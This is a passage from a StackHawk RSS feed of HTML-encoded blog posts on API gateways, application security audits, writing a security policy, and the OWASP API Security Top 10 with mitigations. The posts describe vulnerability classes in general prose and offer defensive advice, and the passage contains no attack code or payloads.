be sure the data is safe, and so can users. At the same time, tech teams do not need to exert as much effort. Instead, they can rely on a single place to manage integrations between numerous systems. That means more data security and less work.  &lt;/p&gt;&lt;p&gt;An API gateway does not only coordinate and control services that are immune to attacks. It also guarantees that the system as a whole will not get affected if there&amp;#39;s a vulnerability. Thus, in addition to reducing damage in case of attacks, this strategy helps users, since the other features remain normal during an attack. &lt;/p&gt;&lt;p&gt;Using an API gateway simplifies your architecture, makes it more secure, and reduces the network load since it ignores the actual implementation of the microservice or microservices. By disregarding the actual implementation of the microservices or even by calling old applications in monolithic type architectures, for example, it can standardize the return message while allowing calls to different types of services: API, &lt;a href=&quot;https://en.wikipedia.org/wiki/SOAP&quot;&gt;&lt;u&gt;SOAP&lt;/u&gt;&lt;/a&gt;, and &lt;a href=&quot;https://en.wikipedia.org/wiki/Representational_state_transfer&quot;&gt;&lt;u&gt;REST&lt;/u&gt;&lt;/a&gt; among others. &lt;/p&gt;&lt;blockquote&gt;&lt;p&gt;A successful cyberattack can expose &lt;b&gt;company, application, and user data&lt;/b&gt;. With that in mind, API gateways increase the system&amp;#39;s security, protecting it from attacks by malicious agents&lt;/p&gt;&lt;/blockquote&gt;&lt;h2&gt;&lt;b&gt;API Gateway Security Best Practices&lt;/b&gt;&lt;/h2&gt;&lt;p&gt;An API gateway must be independent and sit between the client and the back end. As the microservices abstraction layer, it acts as a reverse proxy by redistributing requests to various corresponding microservices. It therefore becomes an entry point to the application. In this layer, it&amp;#39;s possible to implement additional functionalities such as authentication, cache, or security (SSL, for example). &lt;/p&gt;&lt;p&gt;The API gateway must also be replicated and load balanced to avoid becoming the &amp;quot;single point of failure&amp;quot; application. Thus, it must not become monolithic and group all calls to microservices. You can separate API gateways using functional domains or platforms (desktop, web, mobile). It will balance the load and give the correct data to provide to the client.  &lt;/p&gt;&lt;p&gt;You can delegate authentication or cache implementations to the gateway, thereby avoiding specific implementations for each microservice. It improves implementation times by reducing the load, makes it easier to write and read microservices code by outsourcing certain portions, and facilitates scalability. This is because these implementations are &amp;quot;centralized&amp;quot; and therefore easier to scale, and microservices that refrain from these implementations are easier to maintain and scale. &lt;/p&gt;&lt;p&gt;An API gateway, if implemented correctly, yields many benefits. There are still risks, such as becoming a centralized point of failure. The API gateway may become a bottleneck. However, solutions such as AWS API Gateway, Azure API Management for Azure, or Ocelot for .Net Core. are available to solve these kinds of problems. &lt;/p&gt;&lt;p&gt;&lt;i&gt;This post was written by Talha Khalid. &lt;/i&gt;&lt;a href=&quot;http://medium.com/@talhakhalid101&quot;&gt;&lt;i&gt;&lt;u&gt;Talha&lt;/u&gt;&lt;/i&gt;&lt;/a&gt;&lt;i&gt; is a full-stack developer and data scientist who loves to make the cold and hard topics exciting and easy to understand.&lt;/i&gt;&lt;/p&gt;</content:encoded></item><item><title><![CDATA[Application Security Audit: An In-Depth Guide]]></title><guid isPermaLink="false">https://www.stackhawk.com/lp/application-security-audit-an-in-depth-guide</guid><category><![CDATA[API Security]]></category><dc:creator><![CDATA[StackHawk]]></dc:creator><content:encoded>&lt;p&gt;The cost of security incidents is increasing, and this cost is now the third-largest IT spend after salaries and hardware. Despite this, the average time to detect a security breach is massive. &lt;/p&gt;&lt;p&gt;Security audits are an essential part of a secure application development life cycle. A thorough application security audit can help you determine if your apps are vulnerable to various security threats and identify the areas requiring future investments. &lt;/p&gt;&lt;p&gt;This blog post discusses what an application security audit is and how you can use it to improve the security of your applications.&lt;/p&gt;&lt;blockquote&gt;&lt;p&gt;An application security audit is a &lt;b&gt;comprehensive assessment of the security posture&lt;/b&gt; of an application or system&lt;/p&gt;&lt;/blockquote&gt;&lt;h2&gt;&lt;b&gt;Defining an Application Security Audit&lt;/b&gt;&lt;/h2&gt;&lt;p&gt;An application security audit is a comprehensive assessment of the security posture of an application or system. It&amp;#39;s typically performed by an external organization or third-party company and identifies security risks and vulnerabilities.&lt;/p&gt;&lt;p&gt;The audit can be performed manually or automatically, and generally includes the following:&lt;/p&gt;&lt;ul&gt;&lt;li&gt;&lt;p&gt;Identifying security risks&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;Assessing the likelihood and impact of those risks&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;Making recommendations for mitigating or eliminating the risks&lt;/p&gt;&lt;/li&gt;&lt;/ul&gt;&lt;p&gt;The goal of an &lt;a href=&quot;https://en.wikipedia.org/wiki/Application_security&quot;&gt;&lt;u&gt;application security&lt;/u&gt;&lt;/a&gt; audit is to provide a clear and concise report that you can use to improve your application&amp;#39;s overall security.&lt;/p&gt;&lt;h2&gt;&lt;b&gt;Why Conduct App Security Audits?&lt;/b&gt;&lt;/h2&gt;&lt;p&gt;Regular application security audits are essential to ensure your applications&amp;#39; security and integrity. By auditing your applications, you can identify and fix any security vulnerabilities. &lt;/p&gt;&lt;p&gt;Additionally, regular audits can help prevent future security issues by identifying potential risks and measures to mitigate them.&lt;/p&gt;&lt;p&gt;While some organizations may view application security audits as a costly and time-consuming endeavor, the truth is that they can save you a lot of money and headaches in the long run. By catching security issues early on, you can avoid the costly damages resulting from a data breach or other security incident. &lt;/p&gt;&lt;p&gt;Also, regular audits can help improve your organization&amp;#39;s overall security posture and give you peace of mind knowing that your applications are as secure as possible.&lt;/p&gt;&lt;blockquote&gt;&lt;p&gt;Companies can define the scope in terms of &lt;b&gt;features, functionality, or data&lt;/b&gt;&lt;/p&gt;&lt;/blockquote&gt;&lt;h2&gt;&lt;b&gt;How to Perform an App Security Audit&lt;/b&gt;&lt;/h2&gt;&lt;p&gt;Security auditors perform several steps to carry out a comprehensive application security audit. Firstly, it is essential to understand the scope of the audit and what specific areas need to be covered.&lt;/p&gt;&lt;p&gt;Companies can define the scope in terms of features, functionality, or data. For example, if the audit aims to identify all potential security vulnerabilities, the scope would be the entire application. However, you can limit the scope to the security of a particular feature or functionality.&lt;/p&gt;&lt;p&gt;Once you&amp;#39;ve determined the scope of the audit, the next step is gathering information about the application, including any security-related information and information about the application&amp;#39;s environment. That means reviewing the source code, documentation, and other relevant materials. The auditor might also interview developers and administrators.&lt;/p&gt;&lt;p&gt;Next, the auditor identifies potential security risks. This includes threats to data and systems&amp;#39; confidentiality, integrity, and availability.&lt;/p&gt;&lt;p&gt;The final stage of the process is to report on the audit findings and recommend ways to remediate any identified vulnerabilities. This report should be clear and concise and be provided to the relevant parties promptly.&lt;/p&gt;&lt;h2&gt;&lt;b&gt;Types of Application Security Audits&lt;/b&gt;&lt;/h2&gt;&lt;p&gt;Auditors can perform a variety of application security audits, and the most appropriate type(s) for a particular company will depend on several factors. Some of the most common types of application security audits include:&lt;/p&gt;&lt;ul&gt;&lt;li&gt;&lt;p&gt;Security vulnerability assessments: These audits focus on identifying security vulnerabilities and risks. They can be conducted using various methods, including manual code reviews, &lt;a href=&quot;https://www.stackhawk.com/product/&quot;&gt;&lt;u&gt;automated scanning tools&lt;/u&gt;&lt;/a&gt;, and penetration testing.&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;Configuration audits: These audits focus on assessing the security configuration of systems and applications. They can help to identify weak and insecure settings that could leave an organization open to attack.&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;Access control audits: These audits focus on assessing the effectiveness of an organization&amp;#39;s access control mechanisms. They can help to identify areas where access control is weak or could be improved.&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;Logging and monitoring audit: These audits focus on assessing an organization&amp;#39;s logging and monitoring capabilities. They can help to identify gaps in coverage that could leave an organization vulnerable to attack.&lt;/p&gt;&lt;/li&gt;&lt;/ul&gt;&lt;h2&gt;&lt;b&gt;What to Look for When Choosing an Application Security Audit Vendor&lt;/b&gt;&lt;/h2&gt;&lt;p&gt;If you&amp;#39;re responsible for implementing security in your organization, you&amp;#39;ve likely realized that it&amp;#39;s not as straightforward as it seems. New threats emerge daily, and you need to update your security measures accordingly.&lt;/p&gt;&lt;p&gt;As a result, you need to hire a third-party application security audit company that can help you stay ahead of the curve. However, choosing the right vendor without proper knowledge will be challenging. You need to keep three things in mind while selecting an application security audit vendor: the vendor&amp;#39;s security capabilities, approach to security, and experience.&lt;/p&gt;&lt;p&gt;You should expect a vendor to have the expertise to analyze your application and determine where the security issues are. They should also be clear on their weaknesses, which is where experience comes in.&lt;/p&gt;&lt;p&gt;You&amp;#39;ll want to look at prior audits to get an idea of the problems they identified and their proposed fixes. Choosing a vendor with experience working with your type of application is essential.&lt;/p&gt;&lt;p&gt;If you are using a specific technology, you must ensure that the audit vendor is familiar with it. The audit should include a report that gives you details on where the security issues are, along with a recommendation on how to fix them. It should also have an action plan that will be implemented to fix the issues.&lt;/p&gt;&lt;div&gt;&lt;/div&gt;&lt;h2&gt;&lt;b&gt;Common Issues Found During a Security Audit&lt;/b&gt;&lt;/h2&gt;&lt;p&gt;As an application security company, we&amp;#39;ve seen countless examples of vulnerabilities that could have been prevented. Below are the top three vulnerabilities we come across in our day-to-day work.&lt;/p&gt;&lt;p&gt;The first vulnerability is the lack of &lt;b&gt;input validation&lt;/b&gt;. Input validation ensures that the data provided by a user or client is validated for type, length, format, and values. Developers should use input validation to ensure that only valid data is passed to your application. This helps to prevent unexpected behavior. Input validation is one of the most critical aspects of application security.&lt;/p&gt;&lt;p&gt;The second type is &lt;a href=&quot;https://www.stackhawk.com/blog/net-broken-access-control-guide-examples-and-prevention/#explaining-broken-access-control&quot;&gt;&lt;b&gt;&lt;u&gt;broken access control&lt;/u&gt;&lt;/b&gt;&lt;/a&gt; issues, a broader class. There are many types of broken access control vulnerabilities, but they all essentially involve circumventing the controls that are in place to restrict access to data or resources. Common examples include accessing data that is not supposed to be accessible and elevating privileges to gain access to sensitive data or resources.&lt;/p&gt;&lt;p&gt;The other common type of vulnerability is &lt;a href=&quot;https://owasp.org/www-community/attacks/Server_Side_Request_Forgery&quot;&gt;&lt;u&gt;SSRF&lt;/u&gt;&lt;/a&gt;, which stands for server-side request forgery. This type of attack occurs when an attacker tricks a server into making a request to another server on behalf of the attacker. This can be used to exploit internal systems that are not intended to be accessible from the outside and bypass firewalls and other security measures. In some cases, SSRF can also be used to perform denial-of-service attacks.&lt;/p&gt;&lt;blockquote&gt;&lt;p&gt;Application security is much larger than most people realize, so it&amp;#39;s &lt;b&gt;essential to understand how to audit your apps properly&lt;/b&gt;&lt;/p&gt;&lt;/blockquote&gt;&lt;h2&gt;&lt;b&gt;Conclusion&lt;/b&gt;&lt;/h2&gt;&lt;p&gt;Application security is much larger than most people realize, so it&amp;#39;s essential to understand how to audit your apps properly. You can make your application and data more secure by avoiding these common application security mistakes. Each of these mistakes makes it easy for a hacker to exploit your application and access data they wouldn&amp;#39;t be able to otherwise.&lt;/p&gt;&lt;p&gt;It is a good practice to perform security audits regularly. Check for vulnerabilities and ensure that your application does not allow any unwanted access or needs to be potential grounds for cyber-attacks.&lt;/p&gt;&lt;p&gt;We hope you&amp;#39;ve enjoyed learning about the application security audits. If you would like to learn more about application security audits or would like to book a demo, please &lt;a href=&quot;mailto:%20hello@stackhawk.com&quot;&gt;&lt;u&gt;email us&lt;/u&gt;&lt;/a&gt; or check out this &lt;a href=&quot;https://www.stackhawk.com/solutions/getting-started-with-appsec/&quot;&gt;&lt;u&gt;link&lt;/u&gt;&lt;/a&gt;.&lt;/p&gt;&lt;p&gt;&lt;i&gt;This post was written by Keshav Malik. &lt;/i&gt;&lt;a href=&quot;https://theinfosecguy.xyz/&quot;&gt;&lt;i&gt;&lt;u&gt;Keshav&lt;/u&gt;&lt;/i&gt;&lt;/a&gt;&lt;i&gt; is a full-time developer who loves to build and break stuff. He is constantly on the lookout for new and interesting technologies and enjoys working with a diverse set of technologies in his spare time. He loves music and plays badminton whenever the opportunity presents itself.&lt;/i&gt;&lt;/p&gt;</content:encoded></item><item><title><![CDATA[How to Establish an Application Security Policy]]></title><guid isPermaLink="false">https://www.stackhawk.com/lp/how-to-establish-an-application-security-policy</guid><category><![CDATA[Shifting Security Left]]></category><dc:creator><![CDATA[StackHawk]]></dc:creator><content:encoded>&lt;p&gt;The reality is that if you have a business online today, there&amp;#39;s a big chance that malicious hackers are targeting your applications. This can cause a lot of damage and cost not only in terms of money but reputation too. In order to address this issue, you need to start by having an application security policy in place. &lt;/p&gt;&lt;p&gt;The application security policy should be a part of your overall security policy. If you have not yet established one, you should read on to learn how to establish an application security policy. &lt;/p&gt;&lt;p&gt;In this blog post, we&amp;#39;ll look at what you need to include in a well-constructed security policy and how you can establish one. &lt;/p&gt;&lt;h2&gt;&lt;b&gt;What Is an Application Security Policy?&lt;/b&gt;&lt;/h2&gt;&lt;p&gt;An application security policy is a document that outlines the security measures that should be taken when developing, deploying, and managing an application. &lt;/p&gt;&lt;p&gt;A security policy is one of the most essential elements of an organization&amp;#39;s overall security program. Whether it&amp;#39;s a formal or informal policy, a security policy provides the framework for developing and implementing a cohesive set of security controls. &lt;/p&gt;&lt;p&gt;The policy should be tailored to the organization&amp;#39;s specific needs and should be reviewed and updated regularly. An application security policy is an integral part of an organization&amp;#39;s overall security strategy and can help to protect its applications from attack. &lt;/p&gt;&lt;p&gt;As mentioned, the policy should cover all aspects of application security, from development to deployment and maintenance. It should also address how to handle security incidents and vulnerabilities. The policy should specify the acceptable levels of risk for the application and should outline the procedures for managing and responding to security incidents. &lt;/p&gt;&lt;p&gt;In addition, an application security policy provides the framework for understanding the level of security an organization can provide to its business and customers. &lt;/p&gt;&lt;h2&gt;&lt;b&gt;Why Is an Application Security Policy Vital for an Organization?&lt;/b&gt;&lt;/h2&gt;&lt;p&gt;As our lives move increasingly online, data security has become a top priority for organizations of all sizes. A comprehensive application security policy helps to protect an organization&amp;#39;s data and systems from unauthorized access and malicious attacks. By defining clear security procedures and controls, an organization can ensure that its data is appropriately protected at all times.  &lt;/p&gt;&lt;p&gt;An application security policy is vital for an organization because it helps to ensure its data&amp;#39;s confidentiality, integrity, and availability. In the event of a security or data breach, an organization can use its security policy to help determine the cause of the breach and take steps to prevent it from happening again. &lt;/p&gt;&lt;p&gt;As mentioned, by having a well-defined security policy in place, an organization can help to protect its data and systems from unauthorized access and malicious attacks. A policy can also help companies avoid costly penalties for noncompliance, like the kind that could come from running afoul of the Payment Card Industry Data Security Standard (&lt;a href=&quot;https://www.pcisecuritystandards.org/&quot;&gt;&lt;u&gt;PCI DSS&lt;/u&gt;&lt;/a&gt;). &lt;/p&gt;&lt;p&gt;Also read: &lt;a href=&quot;https://www.stackhawk.com/blog/how-security-based-development-should-work/&quot;&gt;&lt;u&gt;How Security-Based Development Should Work&lt;/u&gt;&lt;/a&gt; &lt;/p&gt;&lt;h2&gt;&lt;b&gt;Five Critical Elements of an Application Security Policy&lt;/b&gt;&lt;/h2&gt;&lt;p&gt;Having a solid application security policy is critical to the success of any organization. It provides a map for all employees to follow when developing and maintaining applications. &lt;/p&gt;&lt;p&gt;If an organization doesn&amp;#39;t have an application security policy in place, all of its applications are at risk of being hacked. To help you create an effective application security policy, we&amp;#39;ve outlined five key elements that must be included: &lt;/p&gt;&lt;ol&gt;&lt;li&gt;&lt;p&gt;There should be a clear and concise statement of the organization&amp;#39;s commitment to security. This commitment should be backed up by senior management and should be communicated to all employees.&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;The policy should identify the specific security risks that the organization is facing and how the organization will manage these risks.&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;The policy should outline the security measures that the organization will put in place to protect their data and systems.&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;It should identify the roles and responsibilities of those within the organization who are responsible for security.&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;The security policy should also outline the procedures for reporting and responding to security incidents and all communication channels.&lt;/p&gt;&lt;/li&gt;&lt;/ol&gt;&lt;p&gt;At last, it should clearly define what constitutes a security breach and the consequences for employees who violate the policy. &lt;/p&gt;&lt;h2&gt;&lt;b&gt;How to Create an Application Security Policy&lt;/b&gt;&lt;/h2&gt;&lt;p&gt;There is no one-size-fits-all answer to this question. Rather, the best way to create an application security policy will vary depending on your organization&amp;#39;s specific needs. However, there are some general principles that you should keep in mind when creating your policy. &lt;/p&gt;&lt;p&gt;First, you need to identify the assets that need to be protected and the risks they face. This will help you to determine the appropriate security measures that you need to put in place. &lt;/p&gt;&lt;p&gt;Next, you must establish clear rules and procedures for how your employees handle sensitive data and access sensitive systems. This will help you to minimize the risk of data breaches and other security incidents. &lt;/p&gt;&lt;p&gt;Finally, you must ensure that your policy is regularly reviewed and updated to reflect changes in your organization&amp;#39;s security posture. This will help to ensure that your policy remains effective over time. &lt;/p&gt;&lt;h2&gt;&lt;b&gt;Who Develops an Application Security Policy?&lt;/b&gt;&lt;/h2&gt;&lt;p&gt;Many business owners, who have some experience in IT, believe that the development of a security policy is the responsibility of their IT department. &lt;/p&gt;&lt;p&gt;This is not quite the case. A security policy is developed by a team of security professionals with experience designing and implementing security measures for software applications. &lt;/p&gt;&lt;p&gt;The security team is responsible for ensuring that all applications used by the organization are secure and meet the required security standards. In some cases, the organization may outsource the development of an application security policy to a third-party vendor. It may also involve other stakeholders, such as the application development team, business owners, and operational staff. &lt;/p&gt;&lt;h2&gt;&lt;b&gt;Challenges of Creating and Implementing an Application Security Policy&lt;/b&gt;&lt;/h2&gt;&lt;p&gt;It&amp;#39;s no secret that developing and implementing an application security policy can be challenging. There are several factors you have to consider, including the type of applications you use, the sensitivity of the data you process, and the organization&amp;#39;s overall security posture. &lt;/p&gt;&lt;p&gt;Perhaps the most significant challenge is making sure that you properly secure all your applications. This can be daunting, particularly in large organizations with hundreds or even thousands of applications. &lt;/p&gt;&lt;p&gt;Another challenge is ensuring that the security policy is comprehensive and covers all potential security risks. This requires a thorough understanding of the risks and how they can be mitigated. &lt;/p&gt;&lt;p&gt;Also, it can be challenging to get buy-in from all stakeholders, as some may see security as a hindrance to productivity. For example, some employees may feel that security increases the time it takes to complete a task. Thus, it&amp;#39;s vital to address these concerns and ensure that your team understands why security is important and how it can benefit productivity. &lt;/p&gt;&lt;div&gt;&lt;/div&gt;&lt;h2&gt;&lt;b&gt;Conclusion&lt;/b&gt;&lt;/h2&gt;&lt;p&gt;&lt;a href=&quot;https://www.stackhawk.com/blog/automated-application-security-testing-with-stackhawk/&quot;&gt;&lt;u&gt;Application security&lt;/u&gt;&lt;/a&gt; is a hot topic right now. Cybersecurity experts now advise that companies must develop and enforce strict application security policies to prevent malicious attacks. &lt;/p&gt;&lt;p&gt;These policies are a significant first step toward securing your organization&amp;#39;s applications. Still, it&amp;#39;s also essential to ensure that your employees are aware of these policies and understand the importance of adhering to these controls. &lt;/p&gt;&lt;p&gt;Thanks for taking the time to read our guide on establishing an application security policy. We hope you feel more confident about your approach to application security. If you would like to learn more about our products and services, don&amp;#39;t hesitate to &lt;a href=&quot;mailto:%20hello@stackhawk.com&quot;&gt;&lt;u&gt;get in touch&lt;/u&gt;&lt;/a&gt; with us anytime. &lt;/p&gt;&lt;p&gt;&lt;i&gt;This post was written by Keshav Malik. &lt;/i&gt;&lt;a href=&quot;https://theinfosecguy.xyz/&quot;&gt;&lt;i&gt;&lt;u&gt;Keshav&lt;/u&gt;&lt;/i&gt;&lt;/a&gt;&lt;i&gt; is a full-time developer who loves to build and break stuff. He is constantly on the lookout for new and interesting technologies and enjoys working with a diverse set of technologies in his spare time. He loves music and plays badminton whenever the opportunity presents itself.&lt;/i&gt;&lt;/p&gt;</content:encoded></item><item><title><![CDATA[A Developer's Guide to Fixing The 6 Most Common API Vulnerabilities]]></title><guid isPermaLink="false">https://www.stackhawk.com/lp/6-serious-api-security-vulnerabilities-and-how-to-fix-them</guid><category><![CDATA[API Security]]></category><dc:creator><![CDATA[StackHawk]]></dc:creator><content:encoded>&lt;p&gt;When it comes to the adoption of Application Programming Interfaces, or APIs, the technology is growing rapidly and has been for quite some time. More businesses are turning to APIs for their internal and external operations, truly making them a core component of day-to-day business. It&amp;#39;s encouraging to see the rise in API adoption, but it&amp;#39;s also crucial to understand the security implications of that growth and how you can mitigate them. Along with adoption, API security vulnerabilities will continue to rise, and organizations must be prepared. &lt;/p&gt;&lt;p&gt;This post will examine serious API security vulnerabilities and how to protect yourself. &lt;/p&gt;&lt;p&gt;&lt;b&gt;What Is an API Vulnerability?&lt;/b&gt;&lt;/p&gt;&lt;p&gt;An API vulnerability is a type of security flaw that allows attackers to access sensitive data or execute other malicious actions. API vulnerabilities can occur when an API is poorly designed or implemented or inadequately secured. &lt;/p&gt;&lt;p&gt;Hackers can exploit these API vulnerabilities to launch different attacks, such as &lt;a href=&quot;https://www.cisa.gov/uscert/ncas/tips/ST04-015&quot;&gt;&lt;u&gt;denial-of-service attacks&lt;/u&gt;&lt;/a&gt;, or to gain access to confidential information. Overall, a vulnerability is an opening for someone to take advantage of with malicious intent, and each can compromise API security in various ways.&lt;/p&gt;&lt;h2&gt;&lt;b&gt;Why Is API Security Important?&lt;/b&gt;&lt;/h2&gt;&lt;p&gt;API security is essential because it helps to protect data and prevent unauthorized access to resources. Organizations can achieve API security through various means, such as authentication, authorization, and encryption. By implementing API security measures, companies can ensure that only authorized users can access their data and resources. &lt;/p&gt;&lt;p&gt;Additionally, &lt;a href=&quot;https://www.stackhawk.com/blog/api-security-testing-overview/&quot;&gt;&lt;u&gt;API security&lt;/u&gt;&lt;/a&gt; can help to protect data from being intercepted or modified by unauthorized users. The most comprehensive list of potential API security issues is the OWASP API Security Top 10, a derivative of the &lt;a href=&quot;https://owasp.org/www-project-top-ten/&quot;&gt;OWASP Top 10 Vulnerabilities&lt;/a&gt; many are likely familiar with.&lt;/p&gt;&lt;h2&gt;OWASP API Security Top 10&lt;/h2&gt;&lt;p&gt;The &lt;a href=&quot;https://owasp.org/API-Security/editions/2023/en/0x11-t10/&quot;&gt;OWASP API Security Top 10&lt;/a&gt; is a comprehensive list of the most critical API security risks compiled by security experts worldwide. This list serves as a standard guideline for businesses and developers to understand and mitigate the risks associated with API security. The OWASP API Security Top 10, updated in 2023, includes:&lt;/p&gt;&lt;ul&gt;&lt;li&gt;&lt;p&gt;&lt;b&gt;Broken Object Level Authorization (BOLA)&lt;/b&gt;: This occurs when an API does not properly enforce access controls, allowing attackers to manipulate object IDs to gain unauthorized access to sensitive data.&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;&lt;b&gt;Broken User Authentication&lt;/b&gt;: Weak authentication mechanisms can allow attackers to compromise user accounts and gain unauthorized access.&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;&lt;b&gt;Broken Object Property Level Authorization (BOPLA)&lt;/b&gt;: This vulnerability arises when APIs fail to enforce proper authorization checks on object properties, leading to unauthorized access or modification.&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;&lt;b&gt;Unrestricted Resource Consumption&lt;/b&gt;: APIs that do not limit resource usage can be exploited to consume excessive resources, leading to denial-of-service (DoS) attacks.&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;&lt;b&gt;Broken Function Level Authorization (BFLA)&lt;/b&gt;: This occurs when APIs do not properly enforce authorization checks at the function level, allowing attackers to execute unauthorized functions.&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;&lt;b&gt;Unrestricted Access to Sensitive Business Flows&lt;/b&gt;: APIs that expose sensitive business processes without proper access controls can be exploited to gain unauthorized access to critical operations.&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;&lt;b&gt;Server Side Request Forgery (SSRF)&lt;/b&gt;: This vulnerability allows attackers to manipulate server-side requests, potentially accessing internal systems and sensitive data.&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;&lt;b&gt;Security Misconfiguration&lt;/b&gt;: Inadequate security configurations can leave APIs vulnerable to various attacks, including data breaches and unauthorized access.&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;&lt;b&gt;Improper Inventory Management&lt;/b&gt;: Failing to manage and secure all deployed API versions can lead to the exploitation of deprecated or insecure APIs.&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;&lt;b&gt;Unsafe Composition of APIs&lt;/b&gt;: Combining multiple APIs without proper security measures can introduce vulnerabilities and increase the attack surface.&lt;/p&gt;&lt;/li&gt;&lt;/ul&gt;&lt;p&gt;Understanding these top 10 API security risks is essential for protecting sensitive data and preventing unauthorized access to your API. Based on this info, how would we mitigate some of these vulnerabilities? Let&amp;#39;s take a look at this next.&lt;/p&gt;&lt;h2&gt;Mitigating API Security Vulnerabilities&lt;/h2&gt;&lt;p&gt;Mitigating API security vulnerabilities requires a combination of awareness, education, and the implementation of robust security protocols. Here are some strategies to help mitigate API security vulnerabilities:&lt;/p&gt;&lt;ul&gt;&lt;li&gt;&lt;p&gt;&lt;b&gt;Implement Strong Authentication and Authorization Mechanisms&lt;/b&gt;: Ensure that only authorized users can access your API using strong authentication methods, such as multi-factor authentication and comprehensive authorization checks.&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;&lt;b&gt;Use an API Gateway&lt;/b&gt;: An API gateway can manage and monitor API traffic, enforce security policies, and provide a centralized point for implementing security measures.&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;&lt;b&gt;Implement Rate Limiting and Throttling&lt;/b&gt;: Prevent denial-of-service (DoS) attacks and brute force attacks by limiting the number of API requests that can be made per unit of time.&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;&lt;b&gt;Use Encryption&lt;/b&gt;: Protect sensitive data in transit and at rest by using encryption protocols such as HTTPS and TLS.&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;&lt;b&gt;Regularly Test and Scan for API Vulnerabilities&lt;/b&gt;: Conduct regular security testing and scanning to identify and fix potential security flaws in your APIs. This includes using tools like SAST and DAST platforms.&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;&lt;b&gt;Implement Object-Level Authorization Checks&lt;/b&gt;: Ensure that proper authorization checks are in place to prevent unauthorized access to sensitive data at the object level.&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;&lt;b&gt;Use Secure Protocols for Communication&lt;/b&gt;: Always use secure communication protocols, such as HTTPS and TLS, to protect data from being intercepted or tampered with.&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;&lt;b&gt;Monitor API Traffic and Logs&lt;/b&gt;: Continuously monitor API traffic and logs to detect and promptly respond to security incidents.&lt;/p&gt;&lt;/li&gt;&lt;/ul&gt;&lt;p&gt;By implementing these strategies, you can significantly reduce the risk of API security vulnerabilities and protect your sensitive data.&lt;/p&gt;&lt;h2&gt;&lt;b&gt;How Can an API Be Insecure?&lt;/b&gt;&lt;/h2&gt;&lt;p&gt;As alluded to in our OWASP API Top 10 coverage above, An API can be insecure in several ways. Let&amp;#39;s discuss some of the most common ways in detail, including the particulars on how to protect against these common API vulnerabilities.&lt;/p&gt;&lt;h3&gt;&lt;b&gt;1. Broken Access Control&lt;/b&gt;&lt;/h3&gt;&lt;p&gt;Access control in APIs is a critical security measure that controls who can access data and functionality within an API. However, if access control is not implemented correctly, it can leave APIs vulnerable to attack. &lt;/p&gt;&lt;p&gt;One type of attack that can exploit poor access control is known as a broken access control attack. This type of attack occurs when a hacker/attacker can bypass the security measures in place and gain unauthorized access to data or functionality. &lt;/p&gt;&lt;p&gt;To protect against broken access control attacks, it&amp;#39;s essential to implement proper access control measures in your API. This includes appropriately implementing authentication and authorization checks. It&amp;#39;s also essential to keep your access control measures up to date as new vulnerabilities are discovered. &lt;/p&gt;&lt;p&gt;To protect against broken access control attacks, it&amp;#39;s essential to implement proper access control measures in your API.&lt;/p&gt;&lt;h3&gt;&lt;b&gt;2. Broken Authentication Issues&lt;/b&gt;&lt;/h3&gt;&lt;p&gt;Since APIs rely on authentication to grant access to data and resources, any authentication process flaw can jeopardize the API’s security. Broken authentication is a significant security issue in APIs, as it can allow attackers to access data and resources they should not have access to.&lt;/p&gt;&lt;p&gt;Compromised authentication tokens can allow attackers to impersonate legitimate users, leading to potential data breaches and unauthorized access.&lt;/p&gt;&lt;p&gt;There are many ways in which authentication can be broken, such as using weak or easily guessed passwords, failing to validate user cookies, or lacking JWT expiration properly.&lt;/p&gt;&lt;p&gt;There are a few things that you can do to prevent broken authentication issues in your APIs:&lt;/p&gt;&lt;ul&gt;&lt;li&gt;&lt;p&gt;Implement proper authentication and session management controls—this includes using strong passwords, encrypting sensitive data, and using session timeouts.&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;Restrict access to your API to only those who need it—this can be done using an access control list or an API key.&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;Monitor access to your API and look for suspicious activity—this can help you to detect and stop attacks before they happen.&lt;/p&gt;&lt;/li&gt;&lt;/ul&gt;&lt;h3&gt;&lt;b&gt;3. Injection Attacks&lt;/b&gt;&lt;/h3&gt;&lt;p&gt;Injection attacks are a type of attack where code (malicious) is injected into a system. This can be done through a variety of means but is often done through APIs. Injection attacks can gain access to sensitive data, execute unwanted actions, or cause a denial-of-service condition.&lt;/p&gt;&lt;p&gt;In injection attacks, the attacker takes advantage of the fact that the API accepts input from untrusted sources. By injecting malicious code into the API through user input, the attacker can cause the API to execute unwanted actions or return sensitive data that the attacker can then use to gain access to the system.&lt;/p&gt;&lt;p&gt;To protect against injection attacks, validating all input received through an API is essential. This includes ensuring that the input is of the expected type, size, and format. Additionally, it’s essential to escape any special characters used in injection attacks. By taking these precautions, it’s possible to reduce the risk of injection attacks significantly.&lt;/p&gt;&lt;h3&gt;&lt;b&gt;4. Excessive Data Exposure&lt;/b&gt;&lt;/h3&gt;&lt;p&gt;The 